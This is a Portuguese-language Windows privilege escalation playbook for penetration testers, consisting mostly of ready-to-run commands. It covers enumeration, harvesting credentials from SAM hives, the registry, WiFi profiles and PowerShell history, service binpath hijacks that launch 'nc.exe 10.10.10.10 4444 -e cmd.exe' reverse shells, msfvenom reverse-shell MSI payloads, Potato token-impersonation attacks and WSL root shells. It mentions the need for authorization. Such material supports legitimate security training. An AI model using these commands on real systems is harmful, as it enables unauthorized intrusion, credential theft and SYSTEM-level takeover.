Windows Privilege Escalation

Escalação de Privilégios no Windows

Propósito

Fornecer metodologias sistemáticas para descobrir e explorar vulnerabilidades de escalação de privilégios em sistemas Windows durante atividades de teste de penetração. Esta skill abrange enumeração de sistema, colheita de credenciais, exploração de serviços, impersonação de tokens, exploits de kernel e várias configurações erradas que permitem escalar de usuário padrão para privilégios de Administrator ou SYSTEM.

Inputs / Pré-requisitos

• Acesso Inicial: Shell ou acesso RDP como usuário padrão no sistema Windows
• Ferramentas de Enumeração: WinPEAS, PowerUp, Seatbelt ou comandos manuais
• Binários de Exploit: Exploits pré-compilados ou capacidade de transferir ferramentas
• Conhecimento: Compreensão do modelo de segurança Windows e privilégios
• Autorização: Permissão por escrito para atividades de teste de penetração

Outputs / Entregáveis

• Caminho de Escalação de Privilégios: Vetor identificado para privilégios maiores
• Dump de Credenciais: Senhas, hashes ou tokens colhidos
• Shell Elevado: Execução de comando como Administrator ou SYSTEM
• Relatório de Vulnerabilidade: Documentação de configurações erradas e exploits
• Recomendações de Remediação: Correções para as fraquezas identificadas

Fluxo de Trabalho Principal

1. Enumeração de Sistema

Informações Básicas do Sistema

# Versão do SO e patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

# Arquitetura
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# Variáveis de ambiente
set
Get-ChildItem Env: | ft Key,Value

# Listar unidades
wmic logicaldisk get caption,description,providername

Enumeração de Usuários

# Usuário atual
whoami
echo %USERNAME%

# Privilégios do usuário
whoami /priv
whoami /groups
whoami /all

# Todos os usuários
net user
Get-LocalUser | ft Name,Enabled,LastLogon

# Detalhes do usuário
net user administrator
net user %USERNAME%

# Grupos locais
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource

Enumeração de Rede

# Interfaces de rede
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

# Tabela de roteamento
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

# Tabela ARP
arp -A

# Conexões ativas
netstat -ano

# Compartilhamentos de rede
net share

# Controladores de Domínio
nltest /DCLIST:DomainName

Enumeração de Antivírus

# Verificar produtos AV
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

2. Colheita de Credenciais

Arquivos SAM e SYSTEM

# Localizações do arquivo SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM

# Localizações do arquivo SYSTEM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Extrair hashes (do Linux após obter os arquivos)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt

# Quebrar com John
john --format=NT sam.txt

HiveNightmare (CVE-2021-36934)

# Verificar vulnerabilidade
icacls C:\Windows\System32\config\SAM
# Vulnerável se: BUILTIN\Users:(I)(RX)

# Explorar com mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Procurar por Senhas

# Pesquisar conteúdo de arquivos
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

# Pesquisar registro
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Credenciais de logon automático do Windows
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

# Sessões PuTTY
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Senhas VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# Pesquisar arquivos específicos
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini

Credenciais Unattend.xml

# Localizações comuns
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# Pesquisar arquivos
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

# Decodificar senha base64 (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

Senhas WiFi

# Listar perfis
netsh wlan show profile

# Obter senha em texto claro
netsh wlan show profile <SSID> key=clear

# Extrair todas as senhas WiFi
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on

Histórico PowerShell

# Visualizar histórico do PowerShell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

3. Exploração de Serviços

Permissões Incorretas de Serviço

# Encontrar serviços configurados incorretamente
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>

# Procurar por: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG

# Explorar serviço vulnerável
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>

Caminhos de Serviço Sem Aspas

# Encontrar caminhos sem aspas
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Explorar: Colocar exe malicioso no caminho
# Para caminho: C:\Program Files\Some App\service.exe
# Tentar: C:\Program.exe ou C:\Program Files\Some.exe

AlwaysInstallElevated

# Verificar se está habilitado
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Ambos devem retornar 0x1 para vulnerabilidade

# Criar MSI malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# Instalar (executa como SYSTEM)
msiexec /quiet /qn /i C:\evil.msi

4. Impersonação de Tokens

Verificar Privilégios de Impersonação

# Procurar por estes privilégios
whoami /priv

# Privilégios exploráveis:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege

Ataques Potato

# JuicyPotato (Windows Server 2019 e anteriores)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *

# PrintSpoofer (Windows 10 e Server 2019)
PrintSpoofer.exe -i -c cmd

# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999

# GodPotato
GodPotato.exe -cmd "cmd /c whoami"

5. Exploração de Kernel

Encontrar Vulnerabilidades de Kernel

# Usar Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt

# Ou usar Watson (no alvo)
Watson.exe

# Ou usar script PowerShell Sherlock
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1

Exploits de Kernel Comuns

MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019

6. Técnicas Adicionais

DLL Hijacking

# Encontrar DLLs faltantes com Process Monitor
# Filtrar: Result = NAME NOT FOUND, Path termina com .dll

# Compilar DLL malicioso
# Para x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# Para x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll

Runas com Credenciais Salvas

# Listar credenciais salvas
cmdkey /list

# Usar credenciais salvas
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"

Exploração WSL

# Verificar WSL
wsl whoami

# Definir root como usuário padrão
wsl --default-user root
# Ou: ubuntu.exe config --default-user root

# Gerar shell como root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'

Referência Rápida

Ferramentas de Enumeração

Pastas Padrão Graváveis

C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

Vetores Comuns de Escalação de Privilégios

Exploits de Privilégio de Impersonação

Restrições e Limitações

Limites Operacionais

• Exploits de kernel podem causar instabilidade do sistema
• Alguns exploits requerem versões específicas do Windows
• AV/EDR pode detectar e bloquear ferramentas comuns
• A impersonação de tokens requer contexto de conta de serviço
• Algumas técnicas requerem acesso GUI

Considerações de Detecção

• Colheita de credenciais dispara alertas de segurança
• Modificação de serviço registrada em Event Logs
• Execução do PowerShell pode ser monitorada
• Assinaturas conhecidas de exploit detectadas por AV

Requisitos Legais

• Testar apenas sistemas com autorização por escrito
• Documentar todas as tentativas de escalação
• Evitar interromper sistemas em produção
• Relatar todas as descobertas por canais apropriados

Exemplos

Exemplo 1: Exploração de Caminho Binário de Serviço

# Encontrar serviço vulnerável
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Resultado: RW MyService SERVICE_ALL_ACCESS

# Verificar configuração atual
sc qc MyService

# Parar serviço e alterar caminho binário
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Capturar shell como SYSTEM

Exemplo 2: Exploração AlwaysInstallElevated

# Verificar vulnerabilidade
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Ambos retornam: 0x1

# Gerar payload (máquina do atacante)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transferir e executar
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Capturar shell SYSTEM

Exemplo 3: Impersonação de Token JuicyPotato

# Verificar SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Habilitado

# Executar JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Capturar shell SYSTEM

Exemplo 4: Caminho de Serviço Sem Aspas

# Encontrar caminho sem aspas
wmic service get name,pathname | findstr /i /v """
# Resultado: C:\Program Files\Vuln App\service.exe

# Verificar permissões de escrita
icacls "C:\Program Files\Vuln App"
# Resultado: Users:(W)

# Colocar binário malicioso
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Reiniciar serviço
sc stop "Vuln App"
sc start "Vuln App"

Exemplo 5: Colheita de Credenciais do Registro

# Verificar credenciais de logon automático
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Usar credenciais
runas /user:Administrator cmd.exe
# Ou para remoto: psexec \\target -u Administrator -p P@ssw0rd123 cmd

Solução de Problemas